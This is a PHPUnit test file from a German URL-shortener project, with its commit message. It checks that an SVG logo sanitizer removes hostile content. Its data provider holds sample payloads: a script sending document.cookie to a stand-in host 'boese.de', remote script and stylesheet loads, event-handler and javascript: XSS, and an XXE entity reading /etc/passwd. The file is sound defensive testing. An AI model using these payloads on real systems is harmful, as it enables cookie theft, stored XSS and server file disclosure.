Files
urlshort-qr-gen/tests/Security/SvgSanitizerTest.php
T
florian.wilde 8a7939bee2 test: Testsuite fuer Kernlogik, QR-Codes, Domains und Sicherheit
232 Tests, unter anderem:
- Slug-Erzeugung, Kollisionsbehandlung und Validierung
- URL-Validierung inklusive IDN, Prozentkodierung und abgelehnter
  Protokolle; Punycode gegengeprueft gegen idn_to_ascii
- QR-Erzeugung in allen Groessen, mit Logo und Level-H-Automatik
- Weiterleitung gegen eine echte SQLite-Datenbank samt Domain-
  Aufloesung ueber den Host-Header
- Update einer bestehenden Installation auf mehrere Domains
- Angriffsseitig: gefaelschte Proxy-Header, Host-Header-Injektion,
  SVG mit Skripten, XXE und externen Referenzen
2026-08-03 18:11:40 +02:00

196 lines
7.2 KiB
PHP

<?php
declare(strict_types=1);
namespace App\Tests\Security;
use App\Qr\LogoStore;
use PHPUnit\Framework\TestCase;
/**
* SVG ist XML und darf Skripte, externe Referenzen und Entities
* enthalten. Ein hochgeladenes Logo darf daraus nichts mitbringen -
* weder fuer den Browser (gespeichertes XSS) noch fuer ImageMagick
* beim Rastern (Abruf fremder Adressen vom Server aus).
*/
final class SvgSanitizerTest extends TestCase
{
private string $uploadDir;
private string $tmpDir;
protected function setUp(): void
{
$suffix = bin2hex(random_bytes(4));
$this->uploadDir = sys_get_temp_dir() . '/urlshort-svg-' . $suffix;
$this->tmpDir = sys_get_temp_dir() . '/urlshort-svgtmp-' . $suffix;
mkdir($this->uploadDir, 0775, true);
mkdir($this->tmpDir, 0775, true);
}
protected function tearDown(): void
{
foreach ([$this->uploadDir, $this->tmpDir] as $dir) {
foreach (glob($dir . '/*') ?: [] as $file) {
unlink($file);
}
if (is_dir($dir)) {
rmdir($dir);
}
}
}
private function store(string $svg): string
{
$path = $this->tmpDir . '/' . bin2hex(random_bytes(4));
file_put_contents($path, $svg);
$store = new LogoStore($this->uploadDir);
$filename = $store->store([
'name' => 'logo.svg',
'tmp_name' => $path,
'size' => strlen($svg),
'error' => UPLOAD_ERR_OK,
], 1);
return (string) file_get_contents($this->uploadDir . '/' . $filename);
}
/**
* @return array<string,array{0:string,1:list<string>}>
*/
public static function payloadProvider(): array
{
$open = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">';
$close = '</svg>';
return [
'Skriptblock' => [
$open . '<script>fetch("//boese.de?c="+document.cookie)</script>' . $close,
['<script', 'fetch('],
],
'Skript selbstschliessend' => [
$open . '<script src="//boese.de/x.js"/>' . $close,
['<script', 'boese.de'],
],
'onload-Handler' => [
'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)" viewBox="0 0 10 10">' . $close,
['onload', 'alert(1)'],
],
'onclick ohne Anfuehrungszeichen' => [
$open . '<circle cx="5" cy="5" r="4" onclick=alert(1)/>' . $close,
['onclick', 'alert(1)'],
],
'onbegin in animate' => [
$open . '<animate onbegin="alert(1)" attributeName="x"/>' . $close,
['onbegin', 'alert(1)'],
],
'javascript-href' => [
$open . '<a href="javascript:alert(1)">x</a>' . $close,
['javascript:'],
],
'externe xlink:href' => [
$open . '<use xlink:href="https://boese.de/payload.svg#x"/>' . $close,
['boese.de'],
],
'externes Bild' => [
$open . '<image href="http://boese.de/track.png" width="10" height="10"/>' . $close,
['boese.de'],
],
'file-Referenz' => [
$open . '<image href="file:///etc/passwd" width="10" height="10"/>' . $close,
['/etc/passwd', 'file:'],
],
'XXE per Entity' => [
'<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
. $open . '<text>&xxe;</text>' . $close,
['<!DOCTYPE', '<!ENTITY', '/etc/passwd'],
],
'externes Stylesheet' => [
'<?xml-stylesheet type="text/css" href="https://boese.de/x.css"?>' . $open . $close,
['xml-stylesheet', 'boese.de'],
],
'CSS-Import' => [
$open . '<style>@import url("https://boese.de/x.css");</style>' . $close,
['@import', 'boese.de'],
],
'CSS url() nach aussen' => [
$open . '<rect fill="url(https://boese.de/x.svg#p)" width="10" height="10"/>' . $close,
['boese.de'],
],
'foreignObject mit HTML' => [
$open . '<foreignObject><body xmlns="http://www.w3.org/1999/xhtml">'
. '<script>alert(1)</script></body></foreignObject>' . $close,
['foreignObject', '<script', 'alert(1)'],
],
'iframe' => [
$open . '<iframe src="https://boese.de/"></iframe>' . $close,
['<iframe', 'boese.de'],
],
'Grossschreibung' => [
$open . '<SCRIPT>alert(1)</SCRIPT>' . $close,
['alert(1)'],
],
];
}
/**
* @param list<string> $forbidden
* @dataProvider payloadProvider
*/
public function testPayloadsAreRemoved(string $svg, array $forbidden): void
{
$stored = $this->store($svg);
foreach ($forbidden as $needle) {
self::assertStringNotContainsStringIgnoringCase(
$needle,
$stored,
sprintf('"%s" darf nach der Bereinigung nicht mehr enthalten sein.', $needle),
);
}
}
public function testHarmlessContentSurvives(): void
{
$svg = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">'
. '<defs><linearGradient id="verlauf"><stop offset="0" stop-color="#0b4f9e"/></linearGradient></defs>'
. '<rect width="100" height="100" fill="url(#verlauf)"/>'
. '<circle cx="50" cy="50" r="40" fill="#ff0000"/>'
. '<path d="M10 10 L90 90" stroke="#000000" stroke-width="2"/>'
. '<use href="#verlauf"/>'
. '</svg>';
$stored = $this->store($svg);
self::assertStringContainsString('<circle', $stored);
self::assertStringContainsString('#ff0000', $stored);
self::assertStringContainsString('<path', $stored);
// Interne Verweise bleiben erhalten, sonst waeren Verlaeufe kaputt.
self::assertStringContainsString('url(#verlauf)', $stored);
self::assertStringContainsString('href="#verlauf"', $stored);
}
public function testEmbeddedRasterImageIsKept(): void
{
$dataUri = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=';
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
. '<image href="' . $dataUri . '" width="10" height="10"/></svg>';
$stored = $this->store($svg);
self::assertStringContainsString('data:image/png;base64,', $stored);
}
public function testEncodedJavascriptHrefIsRemoved(): void
{
// HTML-Entities werden vor der Pruefung aufgeloest.
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
. '<a href="&#106;avascript:alert(1)">x</a></svg>';
$stored = $this->store($svg);
self::assertStringNotContainsStringIgnoringCase('alert(1)', $stored);
self::assertStringNotContainsStringIgnoringCase('avascript:', $stored);
}
}